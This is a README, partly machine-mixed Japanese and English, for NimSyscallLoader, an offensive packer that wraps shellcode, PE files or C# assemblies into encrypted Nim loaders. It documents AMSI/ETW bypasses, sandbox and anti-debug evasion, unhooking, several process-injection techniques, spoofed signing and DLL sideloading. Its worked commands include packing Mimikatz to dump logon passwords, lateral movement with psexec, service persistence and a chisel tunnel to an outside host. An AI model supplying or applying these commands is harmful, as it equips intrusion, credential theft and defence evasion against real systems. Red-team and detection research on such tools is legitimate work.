
C#アセンブリ、PEファイル、またはシェルコードを暗号化されたNimバイナリにパックし、AMSI/ETWバイパス、サンドボックス検出、複数のインジェクション技術などの高度な回避機能を備えたレッドチーム運用向けツール。
このツールは、x33fcon での講演後に公開されました。2021年から2024年までの私の私的な主要コーディングプロジェクトであり、現在は非推奨とみなされ、もはやメンテナンスされていません。私の側からのバグ修正や機能更新は期待しないでください。代わりに、RustPack が、審査済みのレッドチームやペネトレーションテスター向けの商用かつ管理されたバージョンとして現在メンテナンスされており、さらに機能が豊富で、OPSec上もはるかに安全です。
このパッカーは、任意のC#アセンブリ、PEファイル、またはシェルコードをNimバイナリにパックするために使用できます。指定された引数に応じて対象のペイロードを暗号化し、対応するNimソースコードをビルドして、Nimバイナリにコンパイルします。
動画(動画の方がよければ)はこちら: https://youtu.be/0PwIn3Nxmgo
Nim/Nimble を正しく動作させるには、Git のインストールが必要です。
Nim 2.2.10 と、Nim Windows ダウンロードページからリンクされている MinGW-w64 GCC 11.1.0 バンドルでテスト済みです。新しい Nim リリースは Windows 上で高い PE イメージベースをデフォルトとするため、-static リンクが relocation truncated to fit: R_X86_64_32S against .bss で壊れます; パッカーは現在、静的ビルドを機能させるために -Wl,--image-base=0x10000 を強制するため、MinGW-w64 11.x ビルドならどれでも問題ありません。ここでは x64 のみがサポートされています — x86/--x86/--wow64 はメンテナンスされていません。
nim-2.2.10_x64.zipmingw64.7z (Nim Windows インストールページからリンクされています)Expand-Archive は使わないでください — lib\system\ ディレクトリとの大文字小文字の衝突により、lib\system.nim が黙って欠落します)。Nim の zip には bin\7zG.exe が同梱されており、これを使って MinGW を展開できます。<nim>\bin と <mingw64>\bin を %PATH% に追加します。変更を有効にするには、ログオフ/ログオン(またはシェルの再起動)を行います。動作確認済みのバージョン(Nim 2.2.10 時点):nimcrypto 0.6.0、docopt 0.7.1、ptr_math 0.3.0、winim 3.9.4、nim-strenc(HEAD — このリポジトリにはタグ付きリリースはありません)。
If you want to use the LLVM obfuscator on Windows, use the embedded modified denim version from denim. Install it via denim\denim.exe setup.
E.g. on Kali / Debian. The packer historically required nim 1.6.8 + mingw-64 8.0.0-1; with the static-link --image-base=0x10000 workaround now baked in, newer toolchains should work too. The Windows build is what's actively tested — Linux is best-effort.```bash
apt-get install nim mingw-w64
nimble install [email protected] docopt ptr_math winim https://github.com/S3cur3Th1sSh1t/nim-strenc/
新しい mingw-w64 で `--hellsgate` のアセンブルに失敗する場合は、`mingw-64=8.0.0-1` にダウングレードしてください。
`pip3 install donut-shellcode` を使用して donut をインストールします。`denim` は Unix からは使用できないため、LLVM による難読化はここでは不可能です。Callobfuscator も同様です。
`nim c -d:noRES NimSyscallLoader.nim` でパッカーをコンパイルします。これで準備完了です。-d:noRES を使用しない場合、次のエラーが発生する可能性があります:```
/username/.nimble/pkgs/winim-3.7.1/winim/lib/winim64.res:(.rsrc+0x48): dangerous relocation: collect2: fatal error: ld terminated with signal 11 [Speicherzugriffsfehler]
compilation terminated.
初回のみビルドが必要です(初回は時間がかかりますが、以降のビルドはキャッシュされます)。
sudo docker build . -t nimsyscallloader
次に、以下のコマンドでパッカーを実行します:
sudo docker run -v $(pwd):/shared nimsyscallloader <ARGUMENTS> --output=/shared/packed.exe
ここで $(pwd) は、ホストシステム上でコンテナと共有されるディレクトリ、つまり暗号化するファイルを置くディレクトリであり、出力が保存されるディレクトリです。
LimeLighter を介してコード署名証明書を利用したい場合は、以下のものもインストールして %PATH% に含める必要があります: openssl -(Windows 用)例:ここ から osslsigncode - 例:ここ から
ここで使用されているサードパーティツールの問題についてはサポートを提供しません。問題が発生した場合は、対応するリポジトリで issue を開いてください。使用中のサードパーティツール:
上記のリンクから、私がビルド済みのバイナリを使用するか、もちろん自分でコンパイルするかのどちらかを選択できます。
動画の方がよろしければ、こちらでご覧いただけます: https://youtu.be/UHaIgdzqHDA
リクエストがあったため、いくつかの機能について短い動画も追加しました:
Caro-Kann:
ThreadlessInject Feature:
Module Stomping Feature:
shellcodeURL Feature:
stegoFile Feature:
shellcodeFile Feature:
Ruy Lopez for local processes
Shellcode output format
Assembly output feature
また、ThreadlessInject テクニックをデフォルト以外のプロセスにカスタマイズする方法を紹介する公開動画も作成しました:
https://youtu.be/BYuAUYQcI-E``` NimSyscall_Loader v 2.2
Usage: NimSyscall_Loader [--file=file_to_encrypt --key= --keyfile= --dnsKey --dnsdomain=<sub.example.com> --environmentalKey=<domain,username> --output= --large --metadata --shellcodeFile= --shellcodeURL= --dll --dllexportfunc= --dllhijack --noNimMain --clone= --dllProxy --cpl --xll --service --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --noOneShot --PatchAMSI --PatchETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --sleep-in-between=<10> --shellcode --RWX --CallbackExecute --localCreateThread --QueueApc --noWait --COMVARETW --remoteinject --customprocess= --blockDLLs --spoofArgs= --parentProcess= --remoteprocess= --remotepatchAMSI --remotepatchETW --mapSection --unhook=<dllname1,dllname2> --reflective --obfuscate --macPayload --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2> --domain= --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain= --noAntidebug --noDefaultSandBox --noAntiEmulate --sleepycrypt --fluctuate --interactivePS --psout --psobfs --pslyrics --csout --scout --sourceonly --jmpEntry --jmpEntryDLL=<example.dll> --jmpEntryFunc= --dripallocate --dripsleep= --stegofile= --ruy-lopez --threadless --threadlessDll=<dllname.dll> --threadlessFunc= --poolparty= --Caro-Kann --Caro-Kann-Thread --stomb --stombDll=<dllname.dll> --stombFunc= --stombFunc2= --restore] NimSyscall_Loader (-h | --help) NimSyscall_Loader --version
Options:
[general]
-h --help Show this screen. --version Show version. --file filename File to encrypt. --key key Key to encrypt with --keyfile keyfile File to read key from --dnsKey Use remote DNS TXT Record as key which is retrieved on runtime --dnsdomain sub.example.com Specify a subdomain to use for the DNS TXT Record --environmentalKey value Use environmental key (domain,username) to encrypt with domain -> enumerate the current domain on runtime and use that as key username -> enumerate the current username on runtime and use that as key --killdate yyyymmdd Specify an date, after which the payload won't get executed anymore --output filename Filename for encrypted exe/dll --arguments hardcodedArgs compile the following arguments to the encrypted exe/dll --metadata Set custom resource file information (cmd icon, CMD description, ntdll metadata for dlls by default) --noETW Don't use ETW Patch --noAMSI Don't patch AMSI --noArgs Don't provide any arguments to the assembly (some can only run without args) --hide Compile with --app:gui flag, so that the console won't pop up --APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE' --reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded --debug Compiles the binary in debug mode --x86 Compiles an x86 binary --wow64 (Compiles a x86 binary that can be used by x64 CPUs) --large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it --noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option. --verbose Prints output to the console (for troubleshooting purposes) --psout Powershell Output format, reflectively loading the packed binary --psobfs Pre-obfuscated Powershell Template with Invoke-obfuscation. --pslyrics Add Lyrics as comments to avoid some more detections --csout C# Output format, reflectively loading the packed binary --scout Shellcode Output format, reflectively loading the packed binary via donut --sourceonly Dont compile but just create the source code and compile command --RWX Use RWX memory permissions for Shellcode and PE-Loading (instead of default RX) --service Create a Service binary or DLL, which can be used for Lateral Movement or Persistence --stegofile filepath Path to a .bmp or jpeg file in which the encrypted payload will be embedded
[Payload retrieval options]
By default, the Loader will embed the Payload into the output file. There are two alternatives to this: --shellcodeFile shellcodefileLocation(s) Filename to retrieve Payload from - on Runtime (No embedding). The first location will also be the output file location. You can specify multiple locations, separated by a comma. --shellcodeURL shellcodeURL URL to retrieve Payload from
[DLL options]
--dll Generate DLL instead of an executable --dllexportfunc exportfuncname Comma separated names of DLL custom export functions for e.g. DLL-Sideloading --dllhijack Add an DLLMain Export with DLL_PROCESS_ATTACH for Hijacking --perfectdllhijack Add DllMain and execute the Payload via "Perfect DLL Hijacking" to avoid LoaderLock issues (https://elliotonsecurity.com/perfect-dll-hijacking/) --noNimMain Remove NimMain export to avoid this IoC (Use "--dllhijack" in addition to instead export DllMain or alternatively "--dllexportfunc DllMain") --clone value Specify a local DLL to clone the API-Exports from via Koppeling --mutexoneshot Use a Mutex to ensure the payload is only executed once per process tree --dllProxy Generate a DLL-Proxying DLL - you need to put the legit DLL into the build directory. Two output DLLs will be generated: The proxy DLL and the randomly renamed legit DLL. (Credit to @byt3bl33d3r - https://github.com/byt3bl33d3r/NimDllSideload) --payloadFunction funcName The function to execute the Payload with to not use DllMain --noRandom Don't randomize the DLL-Name but forward to the original DLL instead (No need to copy the original DLL, only works for builtin windows DLLs) --cpl Generate a CPL file (Control Panel Applet) instead of an executable --xll Generate an XLL file (Excel Add-In) instead of an executable
[evasion]
--sleep 10 Sleep 10 seconds before decryption to evade memory scanners --sleep-in-between 10 Sleep 10 seconds at some potentially critical steps in between to evade memory scanners --COMVARETW Block ETW by setting COMPlus_ETWEnabled to 0 --unhook value Unhook the specified DLL before doing anything else for the current process --obfuscate Compile the Nim binary via Denim to make use of LLVM obfuscation --macPayload Convert the encrypted Shellcode to MAC-Adresses to reduce entropy (for embedded Payloads only) --sgn Encode shellcode via SGN before encrypting it --replace Replace common nim IoC's in the loader like the string 'nim' --noOneShot By default the Packer uses Hardware Breakpoints to bypass AMSI, but disables it after the payload has been executed. If you want to keep it enabled for the current Thread, use this option. --PatchAMSI Bypass AMSI by patching an offset of amsi.dll/AmsiScanBuffer via Syscalls --PatchETW Bypass ETW by patching ntdll.dll/NtTraceEvent via Syscalls --AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf) --AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) --sandbox value Include Sandbox Checks of your choice into the loader: Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one DiskSpace -> Only execute if c:\ disk space >= 200GB MemorySpace -> Only execute if more than 4GB RAM available Emulated -> VirtualAllocExNuma API call (Some sandboxes do not emulate that) WindowChanges -> Checks, if the current Window has changed 7 or more times before executing the payload --domain targetdomain Specify a domain for SandBox Evasion --pump value Pump the file with: words -> english dictionary words to increase the reputation for "mashine learning" evasion (https://twitter.com/hardwaterhacker/status/1502425183331799043) reputation -> Pump reputation with strings from well known binaries e.g. Chrome,Cortana,Discord and some others --self-delete The loader deletes it's own executable on runtime (Credit to @byt3bl33d3r and @jonasLyk) --obfuscatefunctions Obfuscate some Nim specific Windows API's from the IAT via CallObfuscator (https://github.com/d35ha/CallObfuscator - only possible from a Windows OS) --sign Sign the binary with a spoofed certificate --signdomain www.example.com The domain to use for the certificate (default is ) --llvm Add compiler flags for LLVM obfuscation, you have to set it up by yourself --sleepycrypt Encrypt the memory of the loader with SleepyCrypt # experimental (Pre-Alpha, not working yet for C2-Stager) --fluctuate Enable ShellcodeFluctuation for local shellcode injection and PE-Loading (Alpha) - no support for remote injection This will only work for C2-Payloads, that use Win32 Sleep in between connection attempts, as that is hooked --noAntidebug Leave out AntiDebugger Checks --noDefaultSandBox Leave out default Sandbox Checks --noAntiEmulate Leave out AntiEmulation Checks --jmpEntry This option will enable a custom Shellcode Entrypoint from a DLL backed function to avoid unbacked memory as Thread/APC start address. The target function will be hooked with a JMP to the Shellcode --jmpEntryDLL value Specify a DLL to use for the custom Shellcode Entrypoint --jmpEntryFunc value Specify a function to use for the custom Shellcode Entrypoint --ruy-lopez Use Ruy-Lopez to prevent AV/EDR DLLs from being loaded into the local or newly spawned process. (Doesnt work for injection into existing processes)
[Syscall retrival technique to use, default is GetSyscallStub to retrievethe stubs from disk]
--hellsgate Retrieve Syscalls via Hellsgate technique --syswhispers Embed Syscalls via Syswhispers3 (NimLineWhispers3) technique --jump When using Syswhispers3, use the jumper_randomized technique
[shellcode specific]
--shellcode Encrypt shellcode to load it on runtime --dripallocate Allocate memory Driploader style (multiple small memory chunks after another to avoid memory scans after ETWti/Kernel Callback triggers) --dripsleep 500 Sleep time in ms between each memory allocation (e.G. 500 milisec) --CallbackExecute Execute shellcode via a custom Callback function --localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode --QueueApc Instead of a direct Pointer or Thread Creation execute the Shellcode via NtQueueApcThread --noWait Don't use 'WaitForSingleObject(-1,-1)' after local Injection but exit the process instead afterwards. If your Shellcode exits the Thread/Process itself, this will not have any effect. --mapSection Map the shellcode into via NtCreateSection/NtMapViewOfSection . For remote injection decryption will happen AFTER writing the Shellcode into the remote process --remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection --customprocess procname Spawn a custom process (instead of notepad) for remote injection --remoteprocess procname Injects into the specified (existing) remote process name, e.g. teams.exe. The loader searches for the first process with that name Can be used for multiple process names, e.g. --remoteprocess=teams.exe,iexplore.exe,MicrosoftEdge.exe -> First try teams, else Internet Explorer, last Edge --spoofArgs ArgstoSpoof Spoof the arguments of the process to inject into --parentProcess parentProcName Name of the parent Process to spoof (PPID Spoofing) --blockDLLs Set the DllBlocklistPolicy to 1 to prevent DLLs from being loaded --remotepatchAMSI Patch AMSI in the remote process before shellcode execution --remotepatchETW Patch ETW in the remote process before shellcode execution --threadless Use Threadless inject for shellcode execution (https://github.com/CCob/ThreadlessInject) --threadlessthread Use Threadless inject but the trampoline will create a thread instead of CALL to the target address (no impact on the target process but additional IoC) --threadlessDll dllname Specify a DLL to use for the Threadless inject hook --threadlessFunc dllfunc Specify a function to use for the Threadless inject hook --poolparty number Use Poolparty technique 1,2,3,4 for execution --conhostinject Inject into a remote conhost.exe process and trigger execution without Thread or APC or similar --Caro-Kann Use Caro-Kann technique to bypass initial memory scan detections by injecting a second shellcode which sleeps and decrypts (https://github.com/S3cur3Th1sSh1t/Caro-Kann) --Caro-Kann-Thread Same as Caro-Kann, but the Shellcode will not do a direct JMP but instead create a Thread on the start address --stomb Enable Module Stomping to not do memory allocations. By default, 'chakra.dll' is loaded and stomped. --stombDll dllname Specify a DLL to use for the Module Stomping (default is 'chakra.dll') --stombFunc dllfunc Specify a function to use for the Module Stomping --stombFunc2 dllfunc2 Specify a second function to use for the Module Stomping. Only needed if you combine Caro-Kann with Module Stomping as there are two shellcodes than --restore Using this option will restore the .text section of the stomped DLL after executing the shellcode. That way, you get rid of Module Stomp IoCs. But this option only works with Payloads, that are reflective DLLs or which create a new thread.
[PE Packing]
--peinject Encrypt a PE to decrypt and run it on runtime as shellcode via donut --peload Encrypt a PE to decrypt it on runtime and execute it via a syscall variant of Run-PE
[C# assembly Packing]
--csharp Encrypt a C# assembly to load it on runtime --interactivePS Load an interactive unmanaged Powershell Runspace
デフォルトでは、Packer はすべての Payload に対して SandBox 回避および AntiDebug 機能を使用します。これらを有効にしたくない場合(例: それらの IoC を削除するため)、またはその他の理由がある場合は、`--noAntidebug` フラグまたは `--noDefaultSandBox` フラグを使用できます。オプションによるその他の SandBox チェックは、既存のチェックに追加して組み込まれ、置き換えにはなりません。
すべての Payload は、デフォルトでは `RX` メモリ領域で実行されます。一部の Payload は `READ_EXECUTE` のみでは動作しません。代わりに `RWX` を使用するには、`--RWX` フラグで有効にできます。
また、デフォルトでは、Payload は暗号化された配列として結果のバイナリに埋め込まれます。これによりエントロピーが高くなり、そのために一部の AV/EDR ベンダーによる検出につながる可能性もあります。代わりに `--shellcodeFile` または `--shellcodeURL` を使用して、実行時に別のファイルまたは Webサーバーから Payload を取得することをお勧めします。これにより、副作用として SandBox 回避も実現されます。例えば、次のように使用する場合:```batch
NimSyscallLoader --file calc.bin --shellcodeFile test.txt --output test.exe
```, the encrypted Payload will be retrieved from `test.txt` on runtime. So this second file also needs to be placed onto the target system.
急いでいないのであれば、任意のペイロードに対して `--sleep numberOfSeconds` および/または `--sleep-in-between numberOfSeconds` オプションを使用することもお勧めします。これにより、メモリスキャンおよび/または動作ベースの検出バイパスにつながります。
例えば、実行前にアンフックを行い、AMSI をバイパスせずに Mimikatz をパックするには、次のようにします:```batch
NimSyscallLoader --file=mimikatz.exe --unhook --noAMSI --peinject
パッカーを使って --file=Mimikatz --peload 引数でMimikatzをロードし、その後に実行時にカスタムコマンドを発行しようとして問題が発生した方もいるでしょう。
この動作の理由がわかりました。理由は聞かないでください。しかし、GitHubのリリースをそのまま使うことはできず、Mimikatzを自分でコンパイル(またはカスタムバージョンをビルド)して、公式リリースの代わりにそれをロードする必要があります。また、Mimikatzには --noAntidebug を使用してください。そうしないと、奇妙な結果になります(理由は聞かないでください。他のPEは正常にロードされます)。
それでもgithubのリリース版を埋め込みたい場合は、次のように引数を直接渡すことができます:```batch Packedmimikatz.exe coffee exit
また、`--peload`、`--csharp`、または `--peinject` ペイロードの引数をハードコードすることもできます。たとえば、次のようにするとコマンドライン引数が `privilege::debug sekurlsa::logonpasswords exit` になるようにパッチされます:```batch
NimSyscallLoader --file mimikatz.exe --peload --RWX --arguments "privilege::debug sekurlsa::logonpasswords exit" --noAntidebug
Donutシェルコードは一部のAV/EDRベンダーに検出されます。PE-Loadingの代替として、Nim-RunPEをSyscallsを使用したPE-Loading用に修正し、ここに統合しました:
例えばMimikatzをパックし、syscall PE-Loaderでロードするには、以下を使用します:```batch NimSyscallLoader --file=mimikatz.exe --peload --RWX (RWX is important here, as many binaries have problems being executed with only READ_EXECUTE permissions, which is default)
ローカルインジェクション用にShellcodeをパックするには:```batch
NimSyscallLoader --file=shellcode.bin --noAMSI
リモートプロセスにシェルコードをロードするには:```batch NimSyscallLoader --file=shellcode.bin --noAMSI --remoteprocess=teams.exe
C# アセンブリを読み込むには:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp
C# アセンブリを引数付きで読み込むには:```batch NimSyscallLoader --file=Rubeus.exe --csharp --arguments='hash /password:Aa1234'
C# アセンブリをロードし、Syscall の取得に hellsgate を使用するには :```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --hellsgate
ローカルインジェクション + hellsgateの使用 + 自己削除 + サンドボックスチェック用のShellcodeをパックするには:```batch NimSyscallLoader --file=beacon.bin --hellsgate --self-delete --sandbox=DomainJoined,MemorySpace
「機械学習」検出を回避するために、数千語の英語の単語を追加する:```batch
NimSyscallLoader --file=Seatbelt.exe --csharp --pump=words
Syswhispers3 を jumper_randomized テクニックの有無にかかわらず使用するには:```batch NimSyscallLoader --file=calc.bin --syswhispers NimSyscallLoader --file=calc.bin --syswhispers --jump
暗号化する前にsgnでシェルコードをエンコードするには:```batch
NimSyscallLoader --file=calc.bin --sgn
NimSyscallLoader --file=mimikatz.exe --peinject --sgn
カスタムプロセスを生成し、その後そこにインジェクションする + リモートプロセス内のAMSI/ETWをパッチする:```batch NimSyscallLoader --file=calc.bin --remoteinject --customprocess rundll32.exe --remotepatchAMSI --remotePatchETW
実行ファイルの代わりにDLLを出力として生成するには、`--dll` パラメータを追加するだけです。カスタムエクスポート関数は `--dllexportfunc Export1,ExportFunc2` で定義することもできます。これらのカスタムエクスポートはDLLサイドローディングにも使用できます。
LLVMの説明は [https://github.com/icyguider/Nimcrypt2](https://github.com/icyguider/Nimcrypt2) から拝借しました。私はまだこれをテストしていません。
**オプション:** [Obfuscator-LLVM](https://github.com/heroims/obfuscator) フラグを使用するには、[wclang](https://github.com/tpoechtrager/wclang) と一緒にシステムにインストールされている必要があります。これは少し面倒ですが、少し粘ればできるはずです。私のKali Linuxシステムでうまくいった簡単な手順は次のとおりです:
1. 希望するバージョンのObfuscator-LLVMをクローンしてビルドする
2. コンパイル後、既存のclangのバージョンをバックアップし、新しいObfuscator-LLVMバージョンのclangを /usr/bin/ に移動する
3. wclangをインストールし、そのバイナリをPATHに追加する
4. 既存のclangライブラリファイルをバックアップし、新しくビルドされたObfuscator-LLVMライブラリのインクルードを /usr/lib/clang/OLD_VERSION/ にコピーする
さらに、nimをwclangバイナリにポイントさせるために、`nim.cfg` ファイルに次の行を追加する必要があります:```
amd64.windows.clang.exe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.linkerexe = "x86_64-w64-mingw32-clang"
amd64.windows.clang.cpp.exe = "x86_64-w64-mingw32-clang++"
amd64.windows.clang.cpp.linkerexe = "x86_64-w64-mingw32-clang++"
サービスバイナリは、その場で実行されるものではありません。Windows サービスでのみ使用できます。したがって、--service を使用してサービスバイナリをコンパイルする場合は、そのバイナリの場所を指定して新しいサービスを作成する必要があります。これは、たとえば次のようにして行うことができます:```batch
sc.exe create Updater binpath="C:\windows\system32\service.exe"
sc.exe start Updater
Packer バイナリは、impacket-psexec によるラテラルムーブメントにも使用できます:```
impacket-psexec muster.local/admin:password@IP -c service.exe -remote-binary-name service.exe -service-name lateralmovement
サービスDLLには追加の構成が必要です。次のブログを参照し、いくつかのレジストリ変更が必要です:```batch sc.exe create Updater binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\Updater\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\windows\system32\service.dll /f
さらに、`Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost` - `DcomLaunch` の値も、あなたのサービス名を含むように調整する必要があります。
サービス起動時に ERROR 1053 が発生する場合、おそらく最後のエントリを忘れている可能性が高いです。
### Packer で Go 言語バイナリを扱う
私のカスタム `Nim-RUNPE` 実装は、残念ながら現時点では Go 言語バイナリを処理できません。これは Nim 内部の奇妙なバグで、いつかもっと深く調査する必要があります。完全に底なし沼で、すでに多くの時間を費やしています。
とりあえずの回避策として、`--peinject --large` を使用して golang バイナリからシェルコードを生成し、それをローカルで実行可能ファイルまたは DLL として実行できます。
例:```batch
NimSyscallLoader --file chisel.exe --peinject --large --output ChiselPacked.exe
or
NimSyscallLoader --file chisel.exe --peinject --large --dll --arguments "client https://chisel-demo.herokuapp.com 3000" --output ChiselPacked.dll
DLLを使用する場合は、ハードコードされた引数をhave to渡す必要があります。PEInject DLLはターゲットホストから引数を受け付けないためです。リモートインジェクションも可能ですが、ここで引数をハードコードすることはできません。
現時点では、DefenderはGolangのパックされたバイナリを検出します。非常に高いエントロピー(大きなペイロードのため、バイナリには95%以上の暗号化されたコンテンツが含まれています)が原因であるとほぼ確信しています。これらの検出を回避するには、DLLまたは任意の値を指定した --pump のいずれかを使用してください。
--clone DLLName フラグを使用して、DLLサイドローディング対応のペイロードを生成できます。
たとえば、次のコマンドは、元のWindows version.dll のAPIエクスポートを持つ version.dll を生成します。```batch
NimSyscallLoader.exe --file C:\dontscan\calc64thread.bin --dll --clone C:\windows\system32\version.dll --output version.dll
This could be used for various legitimate signed binaries for Sideloading, such as `OneDriveUpdater.exe`, `slllauncher.exe` and more. Some points are important to note and you should take care yourself about them:
* Exitfunction=Process で Shellcode を使用すると、ホストバイナリがクラッシュする可能性が非常に高いです
* ローカルインジェクションを使用すると、DLL が C2 ペイロードの実行を完了しないため、バイナリが起動しません
* 現在、C# ペイロードと Nim サイドローディングの組み合わせにバグまたは問題があります。これらのペイロードはローカルで実行すると(`--csharp` または `--peinject`)単に実行されないため、調査が必要です
* Teams.exe に Nim DLL サイドローディングペイロードを使用することはお勧めできません。特定の DLL で奇妙な動作が発生し、多くの場合 Teams が起動しなくなりました。また、その間に多くの EDR ベンダーに検出されています
* 使用する前にペイロードをテストしてください。
カスタムサイドローディングバイナリを探すか、[https://hijacklibs.net/](https://hijacklibs.net/) などの既知のドキュメント化されたバイナリを使用してください。
### カスタムイメージまたはメタデータ
ローダー実行ファイル用のカスタムアイコンやカスタムメタデータを使用したい場合は、resources フォルダ内の `cmd.rc` ファイルを変更してください。
これは `windres cmd.rc -o cmd.o` を使用して `cmd.o` ファイルにコンパイルできます。また、`demo.ico` ファイルを任意の ICON ファイルに置き換えるだけでも構いません。
DLL メタデータの場合は `DLL.rc` を変更できます。
### その他のエントロピー検出または代替サンドボックス回避
ESET などの一部のベンダーは、暗号化されたペイロードが高エントロピーの blob としてバイナリ内に埋め込まれているため、バイナリ/DLL をフラグ付けします。この種の検出やサンドボックスチェックは、`--shellcodeFile` または `--shellcodeURL` フラグを使用することで回避できます。これらのフラグを使用すると、ペイロードは生成されたバイナリに埋め込まれず、別のファイルまたはリモートの Web サーバーから読み込まれるためです。
### ThreadlessInject - 注意点
ThreadlessInject を使用する場合は、何をしているのかを理解しておく必要があります。これはリモートプロセス内の API をフックする手法であるため、対象となるリモートプロセスごとに調整が必要です。まず、フックする対象を把握するために、リモートプロセスが通常定期的に呼び出す API を知る必要があります。たとえば、一般的な Windows プロセスでは [API Monitor](http://www.rohitab.com/apimonitor) を使用して監視できます。フックを対象プロセスに合わせて調整しないと、ペイロードは実行されません。
デフォルト値は、組み込みの spawn/inject ターゲットである `rundll32.exe` にのみ有効です。このプロセスは `ntdll.dll` の `NtWaitForMultipleObjects` を定期的に呼び出すためです。他のプロセスもこの関数を呼び出しますが、ここでの推奨事項は、対象プロセスに合わせてオプションを調整することです。
### Module Stomping - 注意点
Module stomping は、既に読み込まれている DLL の `.text` セクションの(一部を)上書きするため、shellcode インジェクション用のメモリを割り当てる必要がなくなるという利点があります。対象のリモートプロセスに DLL がまだ読み込まれていない場合は、`LoadLibrary` でリモートスレッドを作成するか、ThreadlessInject を使用する場合はカスタム LoadLibrary-Shellcode を指すフックを介して、最初に強制的に読み込まれます。デフォルトでは、DLL `chakra.dll` が Stomping に使用されます。これはサイズの面からほとんどの場合適しています。ただし、Packer のパラメータで DLL を自由に変更できます。
CFG を回避するため、現在の実装では 1 つ(Caro-Kann を有効にした場合は 2 つ)の DLL エントリポイントを上書きします:
- `JsRunScript`
- `MemProtectHeapUnprotectCurrentThread`
DLL を変更する場合は、ターゲット関数名も変更する必要があります。他の DLL には存在しない可能性があるためです。また、以下のいずれかの場合も問題になる可能性があります:
1. 対象 DLL の `.text` セクションに Shellcode を入れる十分なスペースがない
2. `.text` セクション内の 2 つの関数の間に十分なスペースがなく、最初の関数が 2 番目に上書きされる
私のコードはこのような状況を処理しておらず、現在チェックもしていません。そのため、本番環境で使用する前にサイズとオフセットを確認してください。
また、一部の人には当然かもしれませんが、サーバーはクライアントとは異なる DLL を使用します。したがって、サーバーをターゲットにする場合は Loader/Tool を調整する必要があります。
この Module Stomping 実装は、`DONT_RESOLVE_DLL_REFERENCES` を指定した `LoadLibraryEx` による DLL の読み込みも**行いません**。これはより不安定な方法ですが、この API 使用による特定の IoC に対する EDR 検出を回避するために、あえてこの方法で実装しています。
詳細については、次のブログ投稿をお読みください:
- [https://bruteratel.com/release/2023/03/19/Release-Nightmare/](https://bruteratel.com/release/2023/03/19/Release-Nightmare/)
### メモリ暗号化
現在、Packer には 2 つのメモリ暗号化技術が組み込まれています。`--fluctuate` は ShellcodeFluctuation 用、`--sleepycrypt` は SleepyCrypt 用です。
ShellcodeFluctuation は現在、Win32 Sleep を使用する C2 ペイロードでのみ使用できます。この関数をフックするためです。この場合、インプラントがスリープするたびに Shellcode だけがスタック上で暗号化されます。
SleepyCrypt は Shellcode だけでなく PE スタック全体、つまりそのすべてのセクションを暗号化します。欠点は、暗号化がインプラントとは独立しており、固定された時間値で行われることです。たとえば、暗号化に 10 秒、実行に 1 秒という具合です。これにより、一部の C2 フレームワークでは実行に問題が生じる可能性があります。
### なぜ私の MSF や CobaltStrike、XxX はまだ検出されるのですか?
これをお読みください:
[https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/](https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/)
## 既知のバグ
- Linux システムで新しい mingw-gcc バージョンを使用して `--hellsgate` を使うと、コンパイルに失敗します
- Linux/Debian では、コンパイラエラーを避けるために `-d:noRES` を指定して Packer をコンパイルしてください
- `--syswhispers --jump` を `--peload` と組み合わせるとクラッシュします。現時点では、この副作用がどこから来るのか見当がつかないため、このオプションを使用しないことのみお勧めします
- `--obfuscate` は ASM スタブをうまく処理できないため、`--hellsgate` や `--syswhispers` を使用したバイナリをコンパイルできません
- XP/WS2k3 は `--syswhispers --noAntidebug --noDInvoke` フラグでのみ動作します
- `--x86` / `--wow64` はメンテナンスされておらず、同梱の(非マルチリブ)MinGW-w64 ツールチェーンでは現在壊れています。x64 ビルドを使用してください。
- 新しい MinGW-w64 リンカ(11 以上)はデフォルトで高い PE イメージベースを使用するため、`-static` リンクが `relocation truncated to fit: R_X86_64_32S against .bss` で壊れます。Packer は現在、これを回避するために `-Wl,--image-base=0x10000` を生成された Loader のコンパイルコマンドに渡します。このスタックでスタンドアロンの Nim+static バイナリをビルドする場合も、同じフラグが必要になることがあります。
## TO-DO
- [x] syscalls 経由の PELoader
- [x] Hellsgate サポート
- [X] 必要な Winim ライブラリのみを読み込む
- [x] [SnD_AMSI](https://github.com/whydee86/SnD_AMSI) に基づくリモートプロセスの AMSI/ETW パッチ
- [X] リモートパッチに Syscalls を使用
- [X] パッチ前にパッチ対象の DLL(ntdll または amsi.dll)をリモートプロセスにリモートで読み込む(そうしないと役に立たない)
- [x] リモート shellcode インジェクション + PELoading の Hellsgate サポート
- [X] DLL 出力
- [X] DLL サイドローディング機能
- [X] Powershell 出力
- [X] C# 出力
- [X] win32 関数用の追加 Syscalls および/または D/Invoke
- [X] Cobalt Strike 統合 - CNA
- [ ] PEB フィールドの操作などによるパラメータ受け渡し(コマンドラインスプーフィングのようなもの)
- [X] API インポート関数パッチによるパラメータ受け渡し
